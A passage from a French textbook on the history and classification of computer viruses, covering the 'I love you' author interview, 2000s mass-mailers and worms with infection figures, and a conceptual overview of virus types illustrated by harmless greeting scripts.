des messageries et à l’intervention des techniciens. Même le temps passé à raconter sa propre expérience sur son lieu de travail fut comptabilisé. Son auteur présumé, Onel de Guzman, un étudiant en informatique de l’Ama Computer College, fut arrêté quelques jours plus tard, puis libéré en l’absence de loi locale réprimant ce type d’activité. Le département de justice de son pays estima qu’aucune charge ne pouvait être retenue contre lui. Le 13 juillet 2000, une dépêche indiquait qu’il était embauché à Manille par une société britannique implantée dans le quartier d’affaires de Makati. Dans son numéro 529 (21 décembre 2000), la revue Courrier International reprit un article du Panorama de Milan ; le journaliste Cristiano Bortone1 y interroge le suspect qui défend le principe d’un accès universel et gratuit. Il dénonce aussi la mainmise des grands groupes informatiques : Q : Internet peut-il vraiment servir à améliorer les conditions de vie dans les États pauvres ? R : Ici, aux Philippines, il y a tellement de gens qui n’ont rien ! Comment peut-on penser à Internet quand on a à peine de quoi manger ? Ainsi, comme sujet de mémoire, j’avais pensé à une réflexion sur le moyen de garantir l’accès gratuit à Internet pour 1. BORTONE Cristiano (21/12/2000), Le pirate qui voulait dire « I love you », Courrier International. Numéro 529. Document disponible à l’adresse : http://www.courrierinternational.com/numeros/529/052908301.asp?TYPE=archives.
PAGET_Ch02 Page 77 Lundi, 11. avril 2005 5:25 17
© Dunod – La photocopie non autorisée est un délit
2.13 1999 – 2000 – L’invasion des « MASS-MAILERS »
77
tous. Avec la navigation gratuite, ce ne serait plus forcément nécessaire d’aller à l’école, parce que le réseau est en mesure de fournir tous les moyens d’éducation. Les gens pourraient éviter d’avoir à payer des droits d’entrée à l’université (dans notre pays, ils sont très élevés). On n’aurait plus besoin de s’inscrire que pour quelques matières pratiques ; le reste, on l’apprendrait avec Internet. Mais les polémiques déclenchées par mes propositions après l’explosion du virus "I love you" ont été pour moi un véritable choc. Je ne m’attendais pas à un tel tollé. Q : Après l’affaire "I love you", les Philippines ont voté précipitamment une loi sur les crimes informatiques. Pensez-vous qu’elle puisse limiter le développement du Net ? R : Je pense que le principe d’une loi qui réglemente l’utilisation du réseau est juste. Mais tout ce qui limite l’utilisation d’Internet en limite aussi forcément le développement. C’est ce qui va se passer ici. Lorsque la loi sera promulguée, les possibilités d’apprentissage et de recherche seront de fait limitées. Dans le domaine de la sécurité, par exemple : à partir du moment où la loi interdit d’étudier les virus, même ceux qui existent déjà, elle impose une limite à l’évolution de nouveaux programmes, qui ne sont pas nécessairement destructeurs. Q : Mais la Toile est-elle aujourd’hui véritablement aussi vulnérable ? R : Bien sûr. Aujourd’hui, Internet fournit et enseigne quasiment tout : comment on y entre, comment on y navigue, comment faire du hacking. Tout cela est archi-connu. Il y a ceux qui fournissent sans problème tous les instruments pour casser les codes et les barrières d’accès – c’est relativement simple. Mais il y a aussi une autre vérité, que personne ne dit : aujourd’hui, Internet est utilisé principalement pour faire des affaires, de l’argent. Alors, beaucoup de sociétés informatiques abaissent volontairement les barrières de sécurité. Si la sécurité est faible, les hackers trouvent plus intéressant de construire leurs propres programmes en utilisant ce système. Mais, en même temps, sans le savoir, ils l’aident à évoluer. L’exemple typique est celui de Microsoft, qui, pendant des années, s’est amélioré précisément avec l’aide des hackers. Linux, au contraire, décourage les pirates avec une sécurité trop stricte et a fini par rester en arrière. À mon avis, les hackers sont aujourd’hui la future génération de programmeurs. Reste le fait que certains pourraient profiter de la faiblesse du réseau pour lancer des attaques politiques ou terroristes. Tout le monde, au-delà des apparences politiques ou idéologiques, pourrait faire quelque chose de ce genre. Il suffit d’une bonne connaissance de l’ordinateur et peu importe si la personne est un terroriste à la solde de tel ou tel gouvernement ou un simple étudiant. Quant aux vrais hackers, je ne crois pas qu’ils aient pour de bon l’intention de nuire. Leur seule erreur est d’avoir une grande envie d’apprendre et de découvrir de nouvelles frontières. Q : Comment était l’ambiance à l’Ama Computer College, votre université ? R : L’Ama savait se vendre comme une école de grande qualité. Mais, une fois que j’y suis entré, je me suis aperçu que l’enseignement était élémentaire et ne convenait pas aux étudiants avancés comme moi. Mes camarades étaient des débutants, les professeurs extrêmement jeunes. Pendant cinq ans, je n’y ai pas attaché d’importance : mon but était d’obtenir un diplôme. Les choses qui m’intéressaient, je continuais à les apprendre tout seul.
PAGET_Ch02 Page 78 Lundi, 11. avril 2005 5:25 17
78
Chapitre 2. Historique – de l’innocence à la tentation criminelle
Q : Qui étaient les Grammersoft ? R : Les Grammersoft ! Ils sont im-menses ! Ils sont uniques. Je crois que j’ai été la dernière recrue du groupe. À cette époque, j’étais encore un débutant, et l’idée de partager toutes les connaissances informatiques avec des gens aussi forts m’a emballé. Q : Comment ce groupe fonctionnait-il ? R : On l’a décrit comme un cercle clandestin. En réalité, c’était une simple bande d’amis. On se disait tout ce qui nous passait par la tête, on s’amusait, on se moquait les uns des autres, sans problème. Nous étions vraiment forts. Nos recherches en informatique étaient sans limites. Q : L’administration de l’école était-elle au courant de l’existence de ce groupe ? R : Bien sûr ! Nous, les Grammersoft, étions célèbres sur tout le campus comme rédacteurs de thèses : nous aidions les étudiants en difficulté à les écrire. Après "I love you", tout a changé. Q : En quel sens ? R : Eh bien, avant ce fameux 4 mai, je voyais presque tous les jours les Grammersoft et ma petite amie. Je passais la journée à me promener dans les centres commerciaux. Personne ne me connaissait, ni ne m’arrêtait en disant d’une voix forte : "Eh toi ! je te connais, tu es celui qui a mis un virus dans les ordinateurs." Maintenant, je reste presque tout le temps à la maison. La seule chose qui compte pour moi, c’est de présenter un autre mémoire à l’Ama et d’obtenir mon diplôme, comme me l’a toujours conseillé ma mère. À l’époque de cette interview, plus de 60 variantes du virus étaient répertoriées. L’implémentation immédiate de modules de détection générique ou heuristique permit cependant de détecter la majorité d’entre-elles dès leur apparition.
2.13.4 Kak, le Cagou contre Bubbleboy En octobre 1999 un nouvel exploit technique est accompli. JS/Kak@M démontre qu’avec le courrier électronique un virus peut s’affranchir d’une pièce jointe. Au format HTML, une simple prévisualisation suffit à infecter la machine. Au moment de sa découverte (je reçois ma première souche virale le 22 octobre 1999), nous l’ajoutons dans nos bases de signature et le phénomène passe médiatiquement inaperçu. La primeur de cette technique d’infection sera ensuite faussement attribuée à VBS/Bubbleboy@MM, et à son auteur Zulu, au début novembre de la même année. Sans pièce jointe, le courriel semble donc d’un premier abord inoffensif. Sous Outlook Express, une simple prévisualisation est pourtant suffisante pour permettre au virus d’infecter l’environnement. Il utilise une faille d’Internet Explorer1 lui permettant de s’exécuter silencieusement malgré une configuration des options de sécurité de niveau élevée. 1. MS99-032 : Scriplet.Typelib/Eyedog.
PAGET_Ch02 Page 79 Lundi, 11. avril 2005 5:25 17
2.13 1999 – 2000 – L’invasion des « MASS-MAILERS »
79
Le virus s’intègre alors comme signature par défaut d’Outlook Express. Il est ainsi réexpédié avec tout nouveau mail. L’auteur du virus ne fut jamais ni recherché, ni inquiété alors que Kak grimpa mois après mois les échelons des TOP-10 mondiaux.
2.13.5 VBS/Timofonica LoveLetter fit beaucoup d’émules et les virus de script se propageant via le courrier électronique et le carnet d’adresses Outlook furent vite légion. En juin 2000, VBS/Timofonica@MM n’est qu’un mass-mailer de plus. Il retient cependant l’attention du public car il est capable d’envoyer des messages SMS (Shorts Messaging Service) aux utilisateurs du service de portable espagnol Telefonica s’ils sont abonnés au service correo.movistar.net. Chaque numéro est choisi aléatoirement ; la sélection démarre par le choix d’un préfixe tiré dans une liste à 8 entrées. Le virus ajoute ensuite 6 nombres au hasard puis envoie un minimessage en espagnol dénigrant la compagnie Telefónica. Le sujet du message était TIMOFONICA. Le terme timo voulant dire tricherie en espagnol, on comprend alors le choix de l’auteur.
2.13.6 Autour des PDA – PalmOS/Phage
© Dunod – La photocopie non autorisée est un délit
VBS/Timofonica ne se transmettait absolument pas par les téléphones. Il ne fut donc pas le représentant d’une nouvelle variété de virus pouvant s’attaquer aux fonctions programmables des nouveaux téléphones mobiles et ordinateurs de poche. Ce que l’on voit à cette époque ne sont que des programmes canulars ou des chevaux de Troie. Certains affichent des messages d’autres modifient le rétro éclairage. Le plus connu est W32/Sabia.prc. Comme pour les exemples précédents, il ne s’agit pas d’un virus mais d’un programme du type carte de vœux installé par un virus conventionnel : W32/Sabia@M, alias MTX_II. Le premier virus théoriquement capable de se propager dans l’environnement PalmOS fut PalmOS/Phage. Fonctionnant selon la méthode du recouvrement, il fut découvert en août 2000 et rapidement détectable. La version initiale du virus, autrement dit son programme d’installation (dropper) se présente sous la forme d’un fichier avec une l’icône de l’émulateur GameBoy Liberty. Il se nomme Crack 1.1. Le fichier .prc correspondant porte le nom de liberty_1_crack.prc et cherche à se faire passer pour une version pirate de l’émulateur. La rumeur veut qu’Aaron Ardiri – l’éditeur du véritable émulateur GameBoy Liberty – en soit l’auteur.
PAGET_Ch02 Page 80 Lundi, 11. avril 2005 5:25 17
80
Chapitre 2. Historique – de l’innocence à la tentation criminelle
2.14 2001 – 2003 – UN DISCRET CHANGEMENT DE CAP À l’aube du nouveau millénaire, les techniques de détection générique et heuristique sont de plus en plus efficaces faces aux virus de macro et de script. Ceux ci vont donc se faire de plus en plus rare et finir par disparaître. A contrario, les systèmes d’exploitation Windows redeviennent des terrains de prédilection pour les auteurs de virus. Toutes les techniques de furtivité et de cryptage qui s’appliquaient à la plate-forme DOS sont maintenant actualisées pour fonctionner dans ces environnements. La tendance s’applique aussi aux mass-mailers : les virus programme (W32) prennent le dessus. Tableau 2.5 — Principaux virus rencontrés en France de 2001 à 2003 2001
2002
2003
W32/Sircam@MM
W32
W32/Klez@MM
W32
W32/Mimail @MM
W32
W32/Badtrans.B @MM
W32
W32/Bugbear @MM
W32
W32/Sobig@MM
W32
W32/Magistr.B@MM
W32
W32/Sircam@MM
W32
W32/Klez@MM
W32
VBS/VBSWG.X@MM (alias Homepage)
Script
W32/Yaha@MM
W32
W32/Bugbear @MM
W32
W32/ Magistr.A@MM
W32
W32/ Magistr@MM
W32
W32/Yaha@MM
W32
JS/Kak@M
Script
W32/Badtrans@MM
W32
W32/Fizzer@MM
W32
W32/Hybris.D@MM
W32
W32/Frethem @MM
W32
W32/Sircam @MM
W32
VBS/Tam.A@MM
Script
W32/Hybris@MM
W32
W32/ Magistr@MM
W32
W32/Navidad.B@M
W32
W32/MyParty @MM
W32
W32/Swen@MM
W32
W32/Badtrans.A @MM
W32
VBS/Tam@M
Script
W32/Lirva@MM
W32
Plus complexes, ces virus mettrent en œuvre des processus rendant plus difficile la détection. Au travers d’un même fichier, ils peuvent élargir leurs techniques de propagation. Chaque mois, de nouvelles vulnérabilités sont mises à jour. Les auteurs de virus ne les découvrent pas eux-mêmes mais s’empressent de les utiliser dès qu’elles sont divulguées. Elles ne s’appliquent généralement pas aux virus échangés par courrier
PAGET_Ch02 Page 81 Lundi, 11. avril 2005 5:25 17
2.15 L’été 2003 : ce sont principalement les particuliers qui trinquent !
81
électronique qui restent de conception banale. Elles donnent, par contre, naissance à de véritables vers dans la lignée de ceux des années 80. Le premier d’entre eux, W32/CodeRed.worm.A voit le jour en juillet 20011. Uniquement en mémoire dans sa version initiale, il infecte, en 24 heures, 350.000 machines autour du monde. C’est beaucoup plus que Loveletter dans le même laps de temps. Un an et demi après, le 25 janvier 2003, apparaît W32/SQLSlammer.worm2. Les leçons apprises n’ont pas vraiment servi. Le patch de sécurité bloquant la faille est connu depuis juillet 2002 mais de nombreuses machines sont toujours vulnérables. En 10 minutes, 90 % de ces machines sont atteintes. Selon les sources c’est entre 75.000 et 350.000 ordinateurs qui furent infectées. Le chiffre le plus élevé est sans doute le plus probable. En septembre 2001, W32/Nimda@MM3 est le premier virus pouvant se prévaloir du titre de virus Internet. Ses modes de propagation multiples lui permettent une propagation optimale via, la messagerie, les serveurs IIS4, les partages réseaux et au travers des consultations web. Il infecte les serveurs mais également les stations de travail. Cette période est également celle des premiers virus liés au mode d’échange poste à poste (P2P – peer to peer). En 2000 et 2001 quelques tentatives isolées avaient ciblé Gnutella sans grand succès. À la fin 2004, plusieurs milliers de ces virus sont connus. Le premier de cette nouvelle vague, en mai 2002, fut baptisé W32/Benjamin.worm.
© Dunod – La photocopie non autorisée est un délit
Toutes ces nouveautés s’accompagnent d’un changement majeur qui passe – un premier temps – inaperçu du public. De nombreux virus tels que W32/Sircam@MM et W32/Bugbear@MM, transportent des portes dérobées et des outils de collecte d’information. Il faudra attendre l’été 2003 pour en mesurer l’ampleur.
2.15 L’ÉTÉ 2003 : CE SONT PRINCIPALEMENT LES PARTICULIERS QUI TRINQUENT ! La seconde quinzaine d’août 2003, est riche en évènements viraux. Coup sur coup, plusieurs virus troublent les vacances : • 11 août 2003 : W32/Blaster.worm.A (alias Lovsan). • 18 août 2003 : W32/Sobig.F@MM. • 18 août 2003 : W32/Nachi.worm (alias Welchia).
1. Vulnerabilité MS01-033. 2. Vulnerabilité MS02-039. 3. Vulnerabilités MS01-20 et MS01-44. 4. IIS : INTERNET Information Server. Serveur web développé par MICROSOFT et totalement intégré à Windows.
PAGET_Ch02 Page 82 Lundi, 11. avril 2005 5:25 17
82
Chapitre 2. Historique – de l’innocence à la tentation criminelle
• 19 août 2003 : W32/Dumaru.A@MM. • 18 septembre 2003 : W32/Swen@MM. Blaster et Sobig.F sont les principales vedettes de cette période. Le premier exploite une nouvelle vulnérabilité du système d’exploitation Microsoft1. Dans la lignée de Codered et Slammer, sa propagation est automatique. Elle est qualifiée d’explosive. Le second transite via la messagerie électronique. Tributaire de chaque destinataire qui doit double-cliquer sur la pièce jointe pour réactiver le virus il se propage moins rapidement mais plus longuement. Il est toujours difficile d’estimer le nombre de machines touchées. Avec Sobig.F, certaines sources en annoncent plus de 13 millions au bout de quelques semaines2. Il n’en est rien ; et même si la Société Messagelabs indique que durant la première semaine 22 millions de messages infectés furent en circulation, il est plus raisonnable d’estimer que moins d’un million de machines sont effectivement atteintes ces 7 premiers jours. Ce chiffre devient rapidement définitif puisque Sobig.F est programmé pour arrêter sa course le 10 septembre 2003. De son coté, Blaster devient la bête noire des administrateurs réseaux. En moins d’une journée il touche entre 1 et 2,5 millions de PC. La faille liée à sa propagation étant parfaitement décrite depuis la mi-juillet 2003, les concepteurs de produit antivirus attendaient un virus tel que celui-ci. Certains d’entre eux avaient – une semaine avant l’attaque – intégré des détections génériques. Avec un bon anti-virus à jour, la protection était donc efficace. Ceci n’empêcha pas la propagation massive du virus. Outre W32/Sobig.F@MM, un second virus apparaît le 18 août. W32/Nachi.worm, que certains dénommèrent le tueur de Lovsan n’est en fait qu’un virus de plus. Éliminant imparfaitement son concurrent et tentant d’installer – incorrectement – le correctif MS03-026, il ne fait qu’augmenter la perturbation du moment. L’avant dernier virus de la liste est W32/Dumaru.A@MM. Il apparaît durant cette même période, mais c’est plus tard qu’il monte en puissance. Tout comme Sobig et Blaster il touche plus fortement les PC familiaux que ceux des entreprises. La rigueur des procédures de mise à jour de l’anti-virus et des correctifs liés au système d’exploitation est souvent absente chez les particuliers. À leur décharge, même équipés de l’ADSL, ils ont souvent des difficultés dans la réalisation de ces tâches. Quant à l’utilisation d’un pare-feu personnel, n’en parlons pas !!
1. MS03-026 : Buffer Overrun In RPC Interface Could Allow Code Execution (823980). 2. Le chiffre de 20 millions d’ordinateurs infectés en Chine a fait l’objet de plusieurs communiqués : http://www.news.com.au/common/story_page/ 0%2C4057%2C7058237%255E15306%2C00.html. http://h50055.www5.hp.com/smb/au/resources/virus.aspx.
PAGET_Ch02 Page 83 Lundi, 11. avril 2005 5:25 17
2.16 Janvier 2004 : W32/MYDOOM.A@MM
83
Le dernier de la série est W32/Swen@MM. C’est à nouveau les particuliers qui en sont la principale victime. Se faisant, lui aussi, passer pour une mise à jour de Microsoft, il a une interface graphique très convaincante. Elle guide la victime à travers l’installation factice d’un soi-disant correctif. Microsoft explique qu’il ne distribue jamais de correctifs au travers du courrier électronique1. De nombreuses personnes se laissent pourtant prendre.
2.16 JANVIER 2004 : W32/MYDOOM.A@MM Dans le domaine viral, le lundi 26 janvier 2004 restera pour longtemps dans les mémoires. Vers 18h GMT (19h, heure française) un nouveau virus est repéré. Se propageant principalement au travers de la messagerie électronique, il est aussi capable d’investir le réseau d’échange de fichiers KaZaA. L’un des premiers à analyser le virus est mon collègue Craig Schmugar, chercheur anti-virus au sein du groupe AVERT (Beaverton, Oregon). Ayant décompacté le code viral il remarque, parmi de nombreuses autres, la chaîne de caractères mydomai ; elle lui inspire le nom de Mydoom qu’il propose alors à l’ensemble de notre communauté de chercheurs.
© Dunod – La photocopie non autorisée est un délit
La rapidité de propagation est aussi surprenante qu’élevée. Le tableau ci-dessous reprend une série de chiffres que me fournit directement la société MessageLabs2. Il explique également comment il m’a été possible d’annoncer un chiffre dépassant le million de machines infectées en utilisant le nombre d’adresses IP uniques émettrices du virus.
1. Une page rappelle ce principe : http://www.microsoft.com/france/securite/alertes/swen.asp. 2. MessageLabs Email Threats : http://www.messagelabs.com/emailthreats/.
PAGET_Ch02 Page 84 Lundi, 11. avril 2005 5:25 17
84
Chapitre 2. Historique – de l’innocence à la tentation criminelle
Tableau 2.6 — En six jours, Mydoom infecte plus d’un million de machines Nombre cumulé d’interceptions Date (GMT) E-mails
Adresses IP uniques
Jour J
26/1/2004 – 18h
J +1
27/1/2004
250.000
39.000
J+2
28/1/2004
5.300.000
376.000
J+3
29/1/2004
9.900.000
610.000
J+4
30/1/2004
13.700.000
800.000
J+5
31/1/2004
17.300.000
943.000
J+6
01/2/2004
19.000.000
1.013.000
J+7
02/2/2004
20.200.000
1.064.000
Le 2 février 2004, l’ampleur de l’infection se mesure également au regard des autres virus ayant préalablement défrayé la chronique. Apparu le 18 août 2003, W32/Sobig.F@MM est toujours en tête avec plus de 33 millions de mails interceptés sur 12 mois. Mydoom.A se trouve en seconde place devant W32/Klez.H@MM. Apparu le 15 avril 2002, celui-ci est crédité de plus de 8 millions de mails. À la fin du mois de février, le classement a évolué. Mydoom est, de loin, en tête de peloton. Tableau 2.7 — En un mois, Mydoom est en tête des interceptions Virus
Total cumulé d’interceptions (25/2/2004)
W32/Mydoom.A@MM
54 millions
W32/Sobig.F@MM
33 millions
W32/Klez.H@MM
8 millions
Tout comme la plupart des variantes de Sobig et Dumaru, Mydoom possède en son code une date de fin d’activité. Il stoppe sa propagation le 12 février 2004. Le 13 février, il n’est plus qu’un souvenir.
2.17 À SUIVRE… L’été 2003 est un tournant dans le monde des virus. Se cachant toujours derrière de nombreuses gamineries, leur but devient beaucoup plus réfléchi. La frontière entre
PAGET_Ch02 Page 85 Lundi, 11. avril 2005 5:25 17
2.17 À suivre…
85
auteurs de virus, hackers et véritables acteurs de la criminalité informatique s’amenuise. Certains spécialistes du domaine n’hésitent plus à imaginer que l’apparition programmée des diverses variantes de Sobig fait parti d’un plan minutieux qui dépasse le simple amusement ou l’envie de briller1. Diverses études démontrent qu’une action réfléchie anime les auteurs de la série2. On s’aperçoit ainsi que des spammeurs utilisent des machines infectées comme relais d’émission3. En novembre 2004, un document sera distribué anonymement sur Internet. Alors que les investigations policières se poursuivent, sous couvert d’anonymat, son auteur n’hésite pas à proposer un coupable4.
© Dunod – La photocopie non autorisée est un délit
Depuis l’extinction de Mydoom.A, d’autres virus ont suscité le trouble. Les mémoires retiendront entre autre les batailles que se livrèrent les auteurs de Netsky et Bagle durant le premier semestre 2004. Les nouveaux objectifs de ces programmes malveillants et la traque de leurs auteurs feront sans aucun doute parti de l’histoire de demain. Nous tenterons de les mettre en perspective dans le dernier chapitre de ce livre.
1. Il est possible de lire à ce sujet un interview de Mikko Hyponnen (F-Secure) à l’adresse : http://www.tf1.fr/news/multimedia/0,,1354696,00.html. 2. Sobig.a and the Spam You Received Today : http://www.lurhq.com/sobig.html. Sobig.e – Evolution of the Worm : http://www.lurhq.com/sobig-e.html. Sobig.f Examined : http://www.lurhq.com/sobig-f.html. 3. Spam and Viruses Hit All Time Highs in 2003. http://www.messagelabs.com/news/virusnews/detail/?contentItemId=613®ion=. 4. Who Wrote Sobig ? : http://spamkings.oreilly.com/WhoWroteSobig.pdf.
PAGET_Ch02 Page 86 Lundi, 11. avril 2005 5:25 17
PAGET_Ch03 Page 87 Lundi, 11. avril 2005 5:24 17
3 Notions fondamentales
À la lecture du premier chapitre, nous avons saisi que pour acquérir cette appellation, un virus doit se reproduire. Au travers de la partie historique de ce livre, nous avons aussi constaté que derrière cette caractéristique unique se cachaient des sousensembles distincts. Nous allons donc maintenant différencier les virus selon leurs cibles et leurs fonctionnalités.
3.1 LES VIRUS PAR CIBLES Il existe quatre catégories principales de virus. Elles ont chacune une cible bien précise : • Les virus système. Ils visent le secteur de partition ou le secteur de démarrage des disques durs et des disquettes. • Les virus interprétés. Il s’agit principalement des virus de macro et de script. Ils utilisent des langages de programmation particuliers qui se rapprochent de la programmation par lot (fichiers .bat). Les macro-virus s’intéressent aux documents qui peuvent contenir des routines automatisables et programmables. Les virus de script s’attaquent directement aux programmes écrits en langage interprété. • Les virus programme. Ils s’attaquent aux exécutables compilés (fichiers binaires). • Les vers. Infection typique des réseaux, ils se propagent d’ordinateurs en ordinateurs. De nombreux virus cumulent les cibles en renforçant ainsi leur capacité de contamination. Ils prennent alors les noms de virus multipartite, multifonction ou multi plate-forme.
PAGET_Ch03 Page 88 Lundi, 11. avril 2005 5:24 17
88
Chapitre 3. Notions fondamentales
3.1.1 Virus système Au début des années 1990, la grande majorité des virus rencontrés étaient des virus système. Leur forte propagation puis leur disparition s’expliquent par les mêmes causes : • leurs terrains de prédilection sont les disquettes. Elles sont aujourd’hui rarement utilisées ; les échanges se font maintenant via d’autres supports (clés USB, CD-ROM) ou par courrier électronique et téléchargement, • la propagation nécessite un environnement DOS ou Windows 16 bits. Les systèmes d’exploitation actuels exploitent généralement le 32 bits. La contamination d’une machine est toujours la conséquence d’une tentative volontaire ou involontaire de démarrage depuis une disquette contaminée. L’infection peut réussir que cette disquette soit ou non, formatée système. Pour bien comprendre ce phénomène, il faut savoir que toute disquette formatée contient un petit programme dans son premier secteur physique. Si au démarrage de la machine, le lecteur de disquette est interrogé, ce programme sera exécuté. Pour une simple disquette de donnée, il affichera un message d’erreur ; pour une disquette système, il donnera la main à d’autres programmes qui poursuivront le processus. Au niveau du disque dur, des programmes similaires existent et sont, eux aussi, exécutés au démarrage de la machine. L’un est situé dans le premier secteur physique du disque, l’autre dans le premier secteur de la première unité logique. Pour réaliser son but, le virus système cherche à s’introduire dans ces zones systèmes. Elles sont normalement réservées au système d’exploitation et portent le nom de : • secteur des partitions (MBR, Master Boot Record) pour les disques durs, • secteur de démarrage (BOOT, Boot Sector) pour les disques durs et les disquettes. Le principe de fonctionnement est le suivant : • le virus est présent dans le secteur de démarrage d’une disquette, • pour une raison quelconque, cette disquette se trouve dans le lecteur au moment d’un démarrage machine. Elle contamine le PC lorsque le BIOS exécute le code qu’elle contient, • le code original du BOOT ou du MBR du disque dur est déplacé ou écrasé, • le virus remplace ce code par lui-même, • il sauvegarde éventuellement le code excédant (code complémentaire du virus) dans d’autres secteurs, libres ou occupés, • dès lors, et à chaque nouveau démarrage, le virus sera résident en mémoire et capable d’infecter d’autres disquettes sur un simple accès. Le virus n’a aucune action sur une disquette protégée en écriture.
PAGET_Ch03 Page 89 Lundi, 11. avril 2005 5:24 17
89
3.1 Les virus par cibles
Il nous faut maintenant comprendre comment tout cela a commencé. Trois possibilités sont envisageables : • l’auteur du virus a créé de toute pièce des disquettes infectées, puis les a distribuées. C’est cette technique qu’utilisa l’auteur de BRAIN en 1986, • l’auteur a diffusé des programmes capables d’installer le virus en espérant que certains d’entres eux soient exécutés à un moment ou à un autre. Ces programmes prennent le nom d’implanteurs ou d’injecteurs (en anglais : droppers). L’un d’entre eux a été diffusé en 1991. Son but était d’installer un virus que l’on baptisa alors Horse Boot, • le virus est multipartite. Il est capable d’infecter tout aussi bien des programmes que des zones systèmes. Ces dernières peuvent alors être infectées de manière conventionnelle ou via un exécutable contaminé selon la technique du dropper. OneHalf et Tequila sont deux exemples de virus multipartites. Tableau 3.1 — Quelques virus système couramment rencontrés dans les années 1990 DISQUE DUR
DISQUETTE
VIRUS
DATE/ORIGINE
MBR
BOOT
BOOT
Jumper.B
Mai 1993 / France
OUI
-
OUI
Parity Boot
Sept. 1992 / Allemagne
OUI
-
OUI
Antiexe
Sept. 1993 / France (?)
OUI
-
Form
Juin 1990 / Suisse
-
OUI
OUI
© Dunod – La photocopie non autorisée est un délit
3.1.2 Virus interprètes Jusqu’à l’arrivée de WM/Concept en 1995, le grand public était persuadé qu’un virus, considéré à juste titre comme un programme, ne pouvait être véhiculé et introduit dans un ordinateur qu’avec l’aide d’un autre programme. En clair, seuls des fichiers binaires ou des zones système pouvaient s’avérer dangereuses. A contrario, les fichiers ne contenant que des données, des images ou du code source étaient sans danger. La sophistication des outils bureautiques avec l’apparition des langages de macro bouleversa la donne. Les fichiers tels que ceux contenant des textes ou des feuilles de calcul se sont trouvés enrichis de routines automatisables (formules, macrolangage…) et programmables. Une autre évolution empreinta des chemins parallèles. Pour gagner en interactivité et atteindre un plus large public, des langages de haut niveau, puissants, facilement exploitables et aisément compréhensibles virent le jour. Liés à des interpréteurs – programmes dont la fonction est de convertir le code source en langage machine – ils permirent de créer des fichiers de traitement par lot.
PAGET_Ch03 Page 90 Lundi, 11. avril 2005 5:24 17
90
Chapitre 3. Notions fondamentales
Toutes ces nouveautés devinrent sans délai de nouveaux terrains d’activité pour les auteurs de virus. Les uns et les autres pouvaient être appelés au travers de pages HTML. Exploitant diverses vulnérabilités, ils devinrent donc accessibles et exécutables en local ou à distance, au travers du réseau Internet.
Macro-Virus De 1996 à 1999, les macro virus constituèrent la principale menace. Les virus programmes étaient inexistants et l’influence des virus systèmes diminuait avec l’abandon progressif des disquettes. Dans un premier temps, celles-ci permirent néanmoins la propagation de ces nouveaux venus avant que le courrier électronique ne devienne le principal outil d’échange. La simplicité du codage, le perfectionnement des anti-virus et les quelques protections complémentaires que Microsoft introduisit dans ses suites Office ont par la suite stoppé l’engouement des premiers jours. Tout comme pour les virus système et programme, la propagation ne se fait qu’à partir du moment ou le code viral est exécuté. Dans le cas des macro-virus cette exécution ne peut se produire qu’à des moments précis et sur des critères particuliers. Il s’agit le plus souvent d’un appel à une macro automatique qui s’active silencieusement lors de l’ouverture, de la sauvegarde ou de la fermeture du fichier. Le virus peut aussi modifier, à son profit, l’environnement de travail en détournant quelques fonctions standards usuellement utilisées au travers des menus déroulants ou des fenêtres à choix. Il se propagera ensuite vers des fichiers sains ou nouvellement créés dès que l’utilisateur activera la fonctionnalité détournée.
Virus de script Un langage de script est un langage de programmation spécialisé destiné à contrôler l’environnement d’un logiciel. Interprété, il peut donc être exécuté sur toute machine disposant de l’interpréteur approprié. Deux des plus utilisées sont JavaScript et VBScript. Pour s’exécuter correctement, les fichiers de script firent d’abord appel à Windows Scripting Host. Absent d’une configuration standard Windows-95 ou Windows-NT4, ce logiciel fut ensuite installé par défaut sur toutes les plates-formes Windows modernes. Les virus de script furent eux aussi rapidement et facilement repérables. Il s’agissait de fichiers se suffisant à eux-mêmes qu’il fallait simplement effacer. Ils bénéficièrent ensuite de techniques d’encapsulement comme l’avaient fait avant eux les macro-virus. Là aussi, la bonne lisibilité du code viral associée à l’amélioration des détections génériques fit fortement décroître la menace.
PAGET_Ch03 Page 91 Lundi, 11. avril 2005 5:24 17
91
3.1 Les virus par cibles
JScript JavaScript ne doit pas être confondu avec Java. En effet, si Java est un langage compilé, JavaScript, développé par la société NETSCAPE, est interprété. Le code est inclus soit dans une page HTML, soit dans un fichier à l’extension standard .js. Du point de vue viral, il faut noter la distinction faite au niveau du préfixe : Java pour Java, JS pour JavaScript. Le virus le plus répandu dans cette catégorie fut sans conteste JS/Kak@M. Pionnier de sa catégorie, il était directement intégré dans le corps d’un courrier électronique transmis au format HTML et ne nécessitait aucune pièce jointe pour aider à son transport. Un autre exemple fut JS/TheFly@MM : massmailer contenu dans un fichier attaché dénommé THE_FLY.CHM. L’extension correspondant au type Compiled HTML Help File. <SCRIPT LANGUAGE="JavaScript">
Accueil en JavaScript. ") document.write("
Les paramètres horaires sont " + d + ".") //-->
© Dunod – La photocopie non autorisée est un délit
Figure 3.1 — Exemple de code JavaScript
VBScript VBScript fut la réponse de Microsoft à JavaScript. Langage autonome, créé à partir du VBA (Visual Basic for Applications) et du Visual Basic, il repose sur du code source en clair. Tout un chacun peut donc voir et modifier le code des scripts qu’il rencontre. Les premiers virus VBScript qui se propagèrent sérieusement apparurent en juillet 1999. Il s’agit de vers de messagerie (VBS/Freelink@MM, VBS/Monopoly@MM et VBS/TripleSix@MM). Leur apogée se situe entre mai 2000, avec VBS/LoveLetter@MM, et mai 2001, avec VBS/VBSWG.X@MM, alias Homepage.
PAGET_Ch03 Page 92 Lundi, 11. avril 2005 5:24 17
92
Chapitre 3. Notions fondamentales
<SCRIPT LANGUAGE="VBScript"> ’ Formule d’Accueil en VBScript Call Welcome Sub Welcome Dim h h = Hour(Now) If h < 12 then Document.Write "Bonjour! " ElseIf h < 17 then Document.Write "Bon Après-Midi! " Else Document.Write "Bonne Soirée! " End If Document.Write "Accueil en VBScript. " Document.Write "Les paramères horaires sont " Document.Write Time() & " et " & Date() & "." End Sub Figure 3.2 — Exemple de code VBScript
Virus Batch Nous ne nous attarderons pas sur les virus de type Batch qui n’ont jamais été une véritable menace. Les uns se contentent de diverses instructions en langage de commande MS-DOS. D’autres intègrent du code binaire amené à être exécuté par une suite d’astuces plus ou moins simplistes.
